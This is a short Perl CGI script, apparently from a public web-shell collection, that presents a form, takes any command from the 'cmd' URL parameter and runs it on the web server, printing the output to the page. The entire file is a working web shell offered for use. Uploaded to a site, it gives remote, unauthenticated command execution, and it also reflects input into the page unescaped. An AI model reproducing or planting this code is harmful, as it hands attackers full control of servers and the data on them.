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https://github.com/tennc/webshell
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68 lines
1 KiB
Perl
68 lines
1 KiB
Perl
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#!/usr/bin/perl
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#
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# PerlKit-0.1 - http://www.t0s.org
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#
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# cmd.pl: Run commands on a webserver
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use strict;
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my ($cmd, %FORM);
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$|=1;
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print "Content-Type: text/html\r\n";
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print "\r\n";
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# Get parameters
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%FORM = parse_parameters($ENV{'QUERY_STRING'});
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if(defined $FORM{'cmd'}) {
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$cmd = $FORM{'cmd'};
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}
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print '<HTML>
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<body>
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<form action="" method="GET">
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<input type="text" name="cmd" size=45 value="' . $cmd . '">
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<input type="submit" value="Run">
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</form>
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<pre>';
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if(defined $FORM{'cmd'}) {
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print "Results of '$cmd' execution:\n\n";
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print "-"x80;
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print "\n";
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open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
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while(<CMD>) {
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print;
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}
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close(CMD);
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print "-"x80;
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print "\n";
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}
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print "</pre>";
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sub parse_parameters ($) {
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my %ret;
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my $input = shift;
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foreach my $pair (split('&', $input)) {
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my ($var, $value) = split('=', $pair, 2);
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if($var) {
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$value =~ s/\+/ /g ;
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$value =~ s/%(..)/pack('c',hex($1))/eg;
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$ret{$var} = $value;
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}
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}
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return %ret;
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}
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